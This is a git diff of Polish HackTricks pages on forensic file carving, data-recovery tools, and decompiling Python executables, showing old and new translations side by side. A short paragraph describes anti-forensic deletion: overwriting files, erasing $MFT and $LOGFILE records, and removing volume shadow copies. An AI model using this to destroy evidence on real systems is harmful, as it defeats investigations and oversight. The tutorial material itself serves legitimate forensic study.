Jak już widziano, istnieje kilka miejsc, gdzie plik jest nadal zapisany po "usunięciu". Wynika to z faktu, że zazwyczaj usunięcie pliku z systemu plików oznacza go jako usunięty, ale dane nie są dotykane. Następnie można sprawdzić rejestracje plików (takie jak MFT) i odnaleźć usunięte pliki.
|
||||
Jak wcześniej wspomniano, istnieje kilka miejsc, w których plik jest nadal zapisany po jego "usunięciu". Dzieje się tak, ponieważ zazwyczaj usunięcie pliku z systemu plików po prostu oznacza go jako usunięty, ale dane nie są dotykane. Następnie możliwe jest zbadanie rejestrów plików (takich jak MFT) i znalezienie usuniętych plików.
|
||||
|
||||
Ponadto system operacyjny zazwyczaj zapisuje wiele informacji o zmianach w systemie plików i kopie zapasowe, więc można spróbować ich użyć do odzyskania pliku lub jak największej ilości informacji.
|
||||
Ponadto system operacyjny zazwyczaj zapisuje wiele informacji o zmianach w systemie plików i kopiach zapasowych, więc możliwe jest próbowanie ich użycia do odzyskania pliku lub jak największej ilości informacji.
|
||||
|
||||
{% content-ref url="file-data-carving-recovery-tools.md" %}
|
||||
[file-data-carving-recovery-tools.md](file-data-carving-recovery-tools.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
### **Wycinanie plików**
|
||||
### **Carving plików**
|
||||
|
||||
**Wycinanie plików** to technika, która próbuje **znaleźć pliki w dużej ilości danych**. Istnieją 3 główne sposoby działania narzędzi tego typu: **Na podstawie nagłówków i stopów typów plików**, na podstawie **struktur typów plików** i na podstawie **samej zawartości**.
|
||||
**File carving** to technika, która próbuje **znaleźć pliki w masie danych**. Istnieją 3 główne sposoby, w jakie działają takie narzędzia: **Na podstawie nagłówków i stóp typów plików**, na podstawie **struktur** typów plików oraz na podstawie **samej zawartości**.
|
||||
|
||||
Należy zauważyć, że ta technika **nie działa do odzyskiwania fragmentowanych plików**. Jeśli plik **nie jest przechowywany w sąsiadujących sektorach**, ta technika nie będzie w stanie go odnaleźć lub przynajmniej jego części.
|
||||
Należy zauważyć, że ta technika **nie działa w celu odzyskania fragmentowanych plików**. Jeśli plik **nie jest przechowywany w sąsiadujących sektorach**, to ta technika nie będzie w stanie go znaleźć lub przynajmniej jego części.
|
||||
|
||||
Istnieje kilka narzędzi, które można użyć do wycinania plików, wskazując typy plików, których chcesz szukać.
|
||||
Istnieje wiele narzędzi, które możesz użyć do carvingu plików, wskazując typy plików, które chcesz wyszukiwać.
|
||||
|
||||
{% content-ref url="file-data-carving-recovery-tools.md" %}
|
||||
[file-data-carving-recovery-tools.md](file-data-carving-recovery-tools.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
### Wycinanie strumieni danych
|
||||
### Carving strumieni danych
|
||||
|
||||
Wycinanie strumieni danych jest podobne do wycinania plików, ale **zamiast szukać kompletnych plików, szuka interesujących fragmentów** informacji.\
|
||||
Carving strumieni danych jest podobny do carvingu plików, ale **zamiast szukać kompletnych plików, szuka interesujących fragmentów** informacji.\
|
||||
Na przykład, zamiast szukać kompletnego pliku zawierającego zarejestrowane adresy URL, ta technika będzie szukać adresów URL.
|
||||
|
||||
{% content-ref url="file-data-carving-recovery-tools.md" %}
|
||||
|
@ -231,13 +233,28 @@ Na przykład, zamiast szukać kompletnego pliku zawierającego zarejestrowane ad
|
|||
|
||||
### Bezpieczne usuwanie
|
||||
|
||||
Oczywiście istnieją sposoby **"bezpiecznego" usuwania plików i części logów o nich**. Na przykład można **nadpisać zawartość** pliku danymi bezużytecznymi kilkakrotnie, a następnie **usunąć** logi z **$MFT** i **$LOGFILE** dotyczące pliku, oraz **usunąć kopie zapasowe woluminu**.\
|
||||
Możesz zauważyć, że nawet wykonując tę czynność, mogą istnieć **inne miejsca, gdzie istnienie pliku jest nadal rejestrowane**, co jest prawdą, a częścią pracy profesjonalisty ds. informatyki śledczej jest ich odnalezienie.
|
||||
Oczywiście istnieją sposoby na **"bezpieczne" usunięcie plików i części logów o nich**. Na przykład, możliwe jest **nadpisanie zawartości** pliku danymi śmieciowymi kilka razy, a następnie **usunięcie** **logów** z **$MFT** i **$LOGFILE** dotyczących pliku oraz **usunięcie kopii zapasowych woluminu**.\
|
||||
Możesz zauważyć, że nawet wykonując tę akcję, mogą istnieć **inne części, w których istnienie pliku jest nadal zarejestrowane**, i to prawda, a częścią pracy profesjonalisty w dziedzinie forensyki jest ich znalezienie.
|
||||
|
||||
## Odnośniki
|
||||
## Referencje
|
||||
|
||||
* [https://en.wikipedia.org/wiki/GUID\_Partition\_Table](https://en.wikipedia.org/wiki/GUID\_Partition\_Table)
|
||||
* [http://ntfs.com/ntfs-permissions.htm](http://ntfs.com/ntfs-permissions.htm)
|
||||
* [https://www.osforensics.com/faqs-and-tutorials/how-to-scan-ntfs-i30-entries-deleted-files.html](https://www.osforensics.com/faqs-and-tutorials/how-to-scan-ntfs-i30-entries-deleted-files.html)
|
||||
* [https://docs.microsoft.com/en-us/windows-server/storage/file-server/volume-shadow-copy-service](https://docs.microsoft.com/en-us/windows-server/storage/file-server/volume-shadow-copy-service)
|
||||
* **iHackLabs Certified Digital Forensics Windows**
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Wsparcie HackTricks</summary>
|
||||
|
||||
* Sprawdź [**plany subskrypcyjne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podziel się trikami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repozytoriów github.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,18 +1,19 @@
|
|||
# Narzędzia do wycinania i odzyskiwania danych
|
||||
# File/Data Carving & Recovery Tools
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Naucz się hakować AWS od zera do bohatera z</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
Inne sposoby wsparcia HackTricks:
|
||||
|
||||
* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Kup [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podziel się swoimi sztuczkami hakowania, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
||||
|
@ -22,19 +23,19 @@ Inne sposoby wsparcia HackTricks:
|
|||
|
||||
***
|
||||
|
||||
## Narzędzia do wycinania i odzyskiwania
|
||||
## Carving & Recovery tools
|
||||
|
||||
Więcej narzędzi na [https://github.com/Claudio-C/awesome-datarecovery](https://github.com/Claudio-C/awesome-datarecovery)
|
||||
Więcej narzędzi w [https://github.com/Claudio-C/awesome-datarecovery](https://github.com/Claudio-C/awesome-datarecovery)
|
||||
|
||||
### Autopsy
|
||||
|
||||
Najczęściej używanym narzędziem w dziedzinie kryminalistyki do wyodrębniania plików z obrazów jest [**Autopsy**](https://www.autopsy.com/download/). Pobierz go, zainstaluj i spraw, aby przetworzył plik w celu znalezienia "ukrytych" plików. Zauważ, że Autopsy jest przeznaczony do obsługi obrazów dysków i innych rodzajów obrazów, ale nie prostych plików.
|
||||
Najczęściej używane narzędzie w forensyce do ekstrakcji plików z obrazów to [**Autopsy**](https://www.autopsy.com/download/). Pobierz je, zainstaluj i spraw, aby przetworzyło plik w celu znalezienia "ukrytych" plików. Zauważ, że Autopsy jest zaprojektowane do obsługi obrazów dysków i innych rodzajów obrazów, ale nie prostych plików.
|
||||
|
||||
### Binwalk <a href="#binwalk" id="binwalk"></a>
|
||||
|
||||
**Binwalk** to narzędzie do analizy plików binarnych w celu znalezienia osadzonej zawartości. Można je zainstalować za pomocą `apt`, a jego źródło znajduje się na [GitHub](https://github.com/ReFirmLabs/binwalk).
|
||||
**Binwalk** to narzędzie do analizy plików binarnych w celu znalezienia osadzonych treści. Można je zainstalować za pomocą `apt`, a jego źródło znajduje się na [GitHub](https://github.com/ReFirmLabs/binwalk).
|
||||
|
||||
**Przydatne polecenia**:
|
||||
**Przydatne komendy**:
|
||||
```bash
|
||||
sudo apt install binwalk #Insllation
|
||||
binwalk file #Displays the embedded data in the given file
|
||||
|
@ -43,7 +44,7 @@ binwalk --dd ".*" file #Displays and extracts all files from the given file
|
|||
```
|
||||
### Foremost
|
||||
|
||||
Innym powszechnie stosowanym narzędziem do znajdowania ukrytych plików jest **foremost**. Konfigurację foremost można znaleźć w pliku `/etc/foremost.conf`. Jeśli chcesz wyszukać określone pliki, odkomentuj je. Jeśli nic nie odkomentujesz, foremost będzie przeszukiwał domyślnie skonfigurowane typy plików.
|
||||
Innym powszechnym narzędziem do znajdowania ukrytych plików jest **foremost**. Plik konfiguracyjny foremost znajduje się w `/etc/foremost.conf`. Jeśli chcesz wyszukać konkretne pliki, odkomentuj je. Jeśli nic nie odkomentujesz, foremost będzie szukać domyślnie skonfigurowanych typów plików.
|
||||
```bash
|
||||
sudo apt-get install foremost
|
||||
foremost -v -i file.img -o output
|
||||
|
@ -51,56 +52,58 @@ foremost -v -i file.img -o output
|
|||
```
|
||||
### **Scalpel**
|
||||
|
||||
**Scalpel** to kolejne narzędzie, które można użyć do znalezienia i wyodrębnienia **plików osadzonych w pliku**. W tym przypadku będziesz musiał odkomentować z pliku konfiguracyjnego (_/etc/scalpel/scalpel.conf_) typy plików, które chcesz wyodrębnić.
|
||||
**Scalpel** to kolejne narzędzie, które można wykorzystać do znajdowania i wyodrębniania **plików osadzonych w pliku**. W tym przypadku będziesz musiał odkomentować w pliku konfiguracyjnym (_/etc/scalpel/scalpel.conf_) typy plików, które chcesz, aby zostały wyodrębnione.
|
||||
```bash
|
||||
sudo apt-get install scalpel
|
||||
scalpel file.img -o output
|
||||
```
|
||||
### Bulk Extractor
|
||||
|
||||
To narzędzie znajduje się w Kali, ale można je znaleźć tutaj: [https://github.com/simsong/bulk\_extractor](https://github.com/simsong/bulk\_extractor)
|
||||
To narzędzie znajduje się w Kali, ale możesz je znaleźć tutaj: [https://github.com/simsong/bulk\_extractor](https://github.com/simsong/bulk\_extractor)
|
||||
|
||||
To narzędzie może przeskanować obraz i **wydobyć pcapy** wewnątrz niego, **informacje sieciowe (adresy URL, domeny, adresy IP, adresy MAC, maile)** oraz więcej **plików**. Wystarczy tylko:
|
||||
To narzędzie może przeskanować obraz i **wyodrębnić pcaps** w nim, **informacje o sieci (URL, domeny, IP, MAC, maile)** i więcej **plików**. Musisz tylko zrobić:
|
||||
```
|
||||
bulk_extractor memory.img -o out_folder
|
||||
```
|
||||
Przejrzyj **wszystkie informacje**, które narzędzie zebrało (hasła?), **analizuj** **pakiety** (przeczytaj [**analizę Pcaps**](../pcap-inspection/)), szukaj **dziwnych domen** (domen związanych z **złośliwym oprogramowaniem** lub **nieistniejącymi**).
|
||||
|
||||
### PhotoRec
|
||||
|
||||
Możesz go znaleźć pod adresem [https://www.cgsecurity.org/wiki/TestDisk\_Download](https://www.cgsecurity.org/wiki/TestDisk\_Download)
|
||||
|
||||
Posiada wersje z interfejsem graficznym i wiersza poleceń. Możesz wybrać **typy plików**, które chcesz, aby PhotoRec wyszukał.
|
||||
Dostępna jest wersja z interfejsem graficznym i wiersza poleceń. Możesz wybrać **typy plików**, które PhotoRec ma wyszukiwać.
|
||||
|
||||
![](<../../../.gitbook/assets/image (524).png>)
|
||||
|
||||
### binvis
|
||||
|
||||
Sprawdź [kod](https://code.google.com/archive/p/binvis/) oraz [narzędzie na stronie internetowej](https://binvis.io/#/).
|
||||
Sprawdź [kod](https://code.google.com/archive/p/binvis/) i [stronę narzędzia](https://binvis.io/#/).
|
||||
|
||||
#### Funkcje BinVis
|
||||
#### Cechy BinVis
|
||||
|
||||
* Wizualizator **struktury** plików
|
||||
* Wizualny i aktywny **podgląd struktury**
|
||||
* Wiele wykresów dla różnych punktów skupienia
|
||||
* Skupienie na fragmentach próbki
|
||||
* **Wykrywanie ciągów i zasobów**, w plikach wykonywalnych PE lub ELF, np.
|
||||
* Pozyskiwanie **wzorców** do kryptografii plików
|
||||
* **Wykrywanie** algorytmów pakowania lub kodowania
|
||||
* **Identyfikacja** steganografii poprzez wzorce
|
||||
* **Wizualne** porównywanie binarne
|
||||
* Skupienie na częściach próbki
|
||||
* **Widzenie ciągów i zasobów**, w plikach PE lub ELF, np.
|
||||
* Uzyskiwanie **wzorców** do kryptanalizy plików
|
||||
* **Wykrywanie** algorytmów pakujących lub kodujących
|
||||
* **Identyfikacja** steganografii na podstawie wzorców
|
||||
* **Wizualna** różnica binarna
|
||||
|
||||
BinVis to doskonały **punkt wyjścia do zapoznania się z nieznanym celem** w scenariuszu black-boxing.
|
||||
BinVis to świetny **punkt wyjścia, aby zapoznać się z nieznanym celem** w scenariuszu black-box.
|
||||
|
||||
## Konkretne narzędzia do odzyskiwania danych
|
||||
## Specyficzne narzędzia do odzyskiwania danych
|
||||
|
||||
### FindAES
|
||||
|
||||
Wyszukuje klucze AES, szukając ich harmonogramów kluczy. Potrafi znaleźć klucze 128, 192 i 256 bitowe, takie jak te używane przez TrueCrypt i BitLocker.
|
||||
Wyszukuje klucze AES, przeszukując ich harmonogramy kluczy. Może znaleźć klucze 128, 192 i 256 bitowe, takie jak te używane przez TrueCrypt i BitLocker.
|
||||
|
||||
Pobierz [tutaj](https://sourceforge.net/projects/findaes/).
|
||||
|
||||
## Narzędzia uzupełniające
|
||||
|
||||
Możesz użyć [**viu** ](https://github.com/atanunq/viu), aby zobaczyć obrazy z terminala.\
|
||||
Możesz użyć narzędzia wiersza poleceń systemu Linux **pdftotext**, aby przekształcić plik PDF na tekst i go odczytać.
|
||||
Możesz użyć [**viu**](https://github.com/atanunq/viu), aby zobaczyć obrazy z terminala.\
|
||||
Możesz użyć narzędzia wiersza poleceń Linux **pdftotext**, aby przekształcić plik pdf w tekst i go przeczytać.
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
||||
|
@ -108,16 +111,17 @@ Możesz użyć narzędzia wiersza poleceń systemu Linux **pdftotext**, aby prze
|
|||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
Ucz się i ćwicz Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Ucz się i ćwicz Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Naucz się hakować AWS od zera do bohatera z</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Wsparcie dla HackTricks</summary>
|
||||
|
||||
Inne sposoby wsparcia HackTricks:
|
||||
|
||||
* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
* Sprawdź [**plany subskrypcyjne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegram**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Dziel się trikami hackingowymi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repozytoriów github.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,28 +1,29 @@
|
|||
# Dekompilacja skompilowanych plików binarnych Pythona (exe, elf) - Odzyskiwanie z .pyc
|
||||
# Decompile compiled python binaries (exe, elf) - Retreive from .pyc
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Zacznij naukę hakowania AWS od zera do bohatera z</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
Inne sposoby wsparcia HackTricks:
|
||||
|
||||
* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* **Dołącz do** 💬 [**Grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegram**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podziel się trikami hackingowymi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repozytoriów github.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/i3.png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**Wskazówka dotycząca bug bounty**: **Zarejestruj się** na platformie **Intigriti**, premium **platformie bug bounty stworzonej przez hakerów, dla hakerów**! Dołącz do nas na [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) już dziś i zacznij zarabiać nagrody aż do **$100,000**!
|
||||
**Bug bounty tip**: **zarejestruj się** w **Intigriti**, premium **platformie bug bounty stworzonej przez hackerów, dla hackerów**! Dołącz do nas na [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) już dziś i zacznij zarabiać nagrody do **100 000 USD**!
|
||||
|
||||
{% embed url="https://go.intigriti.com/hacktricks" %}
|
||||
|
||||
## Z pliku binarnego do .pyc
|
||||
## From Compiled Binary to .pyc
|
||||
|
||||
Z pliku binarnego **ELF** skompilowanego można **uzyskać .pyc** za pomocą:
|
||||
Z **skompilowanego binarnego ELF** możesz **uzyskać .pyc** za pomocą:
|
||||
```bash
|
||||
pyi-archive_viewer <binary>
|
||||
# The list of python modules will be given here:
|
||||
|
@ -41,38 +42,38 @@ pyi-archive_viewer <binary>
|
|||
? X binary_name
|
||||
to filename? /tmp/binary.pyc
|
||||
```
|
||||
W skompilowanym pliku **python exe binary** można **uzyskać plik .pyc**, uruchamiając:
|
||||
W skompilowanym **python exe binary** możesz **uzyskać .pyc** uruchamiając:
|
||||
```bash
|
||||
python pyinstxtractor.py executable.exe
|
||||
```
|
||||
## Z pliku .pyc do kodu Pythona
|
||||
## From .pyc to python code
|
||||
|
||||
Dla danych w formacie **.pyc** ("skompilowany" kod Pythona) należy rozpocząć próbę **wyodrębnienia** **oryginalnego** **kodu Pythona**:
|
||||
Dla danych **.pyc** ("skompilowany" python) powinieneś zacząć próbować **wyodrębnić** **oryginalny** **kod** **python**:
|
||||
```bash
|
||||
uncompyle6 binary.pyc > decompiled.py
|
||||
```
|
||||
**Upewnij się**, że plik binarny ma **rozszerzenie** "**.pyc**" (jeśli nie, uncompyle6 nie będzie działać)
|
||||
**Upewnij się**, że plik binarny ma **rozszerzenie** "**.pyc**" (jeśli nie, uncompyle6 nie zadziała)
|
||||
|
||||
Podczas wykonywania **uncompyle6** możesz napotkać **następujące błędy**:
|
||||
|
||||
### Błąd: Nieznany numer magiczny 227
|
||||
### Błąd: Nieznana liczba magiczna 227
|
||||
```bash
|
||||
/kali/.local/bin/uncompyle6 /tmp/binary.pyc
|
||||
Unknown magic number 227 in /tmp/binary.pyc
|
||||
```
|
||||
Aby to naprawić, musisz **dodać poprawny numer magiczny** na początku wygenerowanego pliku.
|
||||
|
||||
**Numery magiczne różnią się w zależności od wersji Pythona**, aby uzyskać numer magiczny **Pythona 3.8**, musisz **otworzyć terminal Pythona 3.8** i wykonać:
|
||||
**Numery magiczne różnią się w zależności od wersji pythona**, aby uzyskać numer magiczny dla **python 3.8**, musisz **otworzyć terminal python 3.8** i wykonać:
|
||||
```
|
||||
>> import imp
|
||||
>> imp.get_magic().hex()
|
||||
'550d0d0a'
|
||||
```
|
||||
W tym przypadku **numer magiczny** dla pythona 3.8 to **`0x550d0d0a`**, następnie, aby naprawić ten błąd, musisz **dodać** na **początku pliku .pyc** następujące bajty: `0x0d550a0d000000000000000000000000`
|
||||
Liczba **magiczna** w tym przypadku dla python3.8 to **`0x550d0d0a`**, następnie, aby naprawić ten błąd, musisz **dodać** na **początku** pliku **.pyc** następujące bajty: `0x0d550a0d000000000000000000000000`
|
||||
|
||||
**Po** dodaniu tego magicznego nagłówka, **błąd powinien zostać naprawiony.**
|
||||
**Gdy** dodasz ten nagłówek magiczny, **błąd powinien być naprawiony.**
|
||||
|
||||
Tak będzie wyglądał poprawnie dodany **nagłówek magiczny .pyc pythona 3.8**:
|
||||
Tak będzie wyglądał poprawnie dodany **nagłówek magiczny .pyc python3.8**:
|
||||
```bash
|
||||
hexdump 'binary.pyc' | head
|
||||
0000000 0d55 0a0d 0000 0000 0000 0000 0000 0000
|
||||
|
@ -80,21 +81,21 @@ hexdump 'binary.pyc' | head
|
|||
0000020 0700 0000 4000 0000 7300 0132 0000 0064
|
||||
0000030 0164 006c 005a 0064 0164 016c 015a 0064
|
||||
```
|
||||
### Błąd: Dekompilacja ogólnych błędów
|
||||
### Błąd: Dekompilacja błędów ogólnych
|
||||
|
||||
**Inne błędy** takie jak: `class 'AssertionError'>; co_code should be one of the types (<class 'str'>, <class 'bytes'>, <class 'list'>, <class 'tuple'>); is type <class 'NoneType'>` mogą się pojawić.
|
||||
**Inne błędy** takie jak: `class 'AssertionError'>; co_code powinien być jednym z typów (<class 'str'>, <class 'bytes'>, <class 'list'>, <class 'tuple'>); jest typu <class 'NoneType'>` mogą się pojawić.
|
||||
|
||||
Oznacza to prawdopodobnie, że **nie dodałeś poprawnie** numeru magicznego lub **nie użyłeś** **poprawnego numeru magicznego**, więc upewnij się, że używasz właściwego (lub spróbuj nowego).
|
||||
To prawdopodobnie oznacza, że **nie dodałeś poprawnie** magicznego numeru lub że **nie użyłeś** **poprawnego magicznego numeru**, więc upewnij się, że używasz odpowiedniego (lub spróbuj nowego).
|
||||
|
||||
Sprawdź dokumentację dotyczącą poprzedniego błędu.
|
||||
Sprawdź dokumentację wcześniejszych błędów.
|
||||
|
||||
## Narzędzie automatyczne
|
||||
|
||||
[**Narzędzie python-exe-unpacker**](https://github.com/countercept/python-exe-unpacker) służy jako połączenie kilku narzędzi dostępnych w społeczności, przeznaczonych do pomocy badaczom w rozpakowywaniu i dekompilowaniu plików wykonywalnych napisanych w Pythonie, w szczególności tych utworzonych za pomocą py2exe i pyinstaller. Zawiera reguły YARA do identyfikacji, czy plik wykonywalny jest oparty na Pythonie, oraz potwierdza narzędzie tworzenia.
|
||||
Narzędzie [**python-exe-unpacker**](https://github.com/countercept/python-exe-unpacker) służy jako połączenie kilku dostępnych w społeczności narzędzi zaprojektowanych w celu pomocy badaczom w rozpakowywaniu i dekompilacji plików wykonywalnych napisanych w Pythonie, szczególnie tych stworzonych za pomocą py2exe i pyinstaller. Zawiera zasady YARA do identyfikacji, czy plik wykonywalny jest oparty na Pythonie i potwierdza narzędzie do jego stworzenia.
|
||||
|
||||
### ImportError: Nazwa pliku: 'unpacked/malware\_3.exe/**pycache**/archive.cpython-35.pyc' nie istnieje
|
||||
|
||||
Częstym problemem jest niekompletny plik bajtowy Pythona wynikający z **procesu rozpakowywania za pomocą unpy2exe lub pyinstxtractor**, który następnie **nie jest rozpoznawany przez uncompyle6 z powodu braku numeru wersji bajtów Pythona**. Aby temu zaradzić, dodano opcję prepend, która dodaje wymagany numer wersji bajtów Pythona, ułatwiając proces dekompilacji.
|
||||
Powszechnym problemem jest niekompletny plik bajtowy Pythona wynikający z **procesu rozpakowywania za pomocą unpy2exe lub pyinstxtractor**, który następnie **nie jest rozpoznawany przez uncompyle6 z powodu brakującego numeru wersji bajtowego Pythona**. Aby to naprawić, dodano opcję prepend, która dołącza niezbędny numer wersji bajtowego Pythona, ułatwiając proces dekompilacji.
|
||||
|
||||
Przykład problemu:
|
||||
```python
|
||||
|
@ -116,7 +117,7 @@ test@test:python python_exe_unpack.py -p unpacked/malware_3.exe/archive
|
|||
```
|
||||
## Analiza asemblera Pythona
|
||||
|
||||
Jeśli nie udało ci się wydobyć "oryginalnego" kodu Pythona, postaraj się **wydobyć** **asembler** (ale **nie jest** zbyt opisowy, więc spróbuj **ponownie** wydobyć **oryginalny** kod). W [tutaj](https://bits.theorem.co/protecting-a-python-codebase/) znalazłem bardzo prosty kod do **dysasemblacji** pliku _.pyc_ (powodzenia z zrozumieniem przepływu kodu). Jeśli plik _.pyc_ pochodzi z Pythona 2, użyj python2:
|
||||
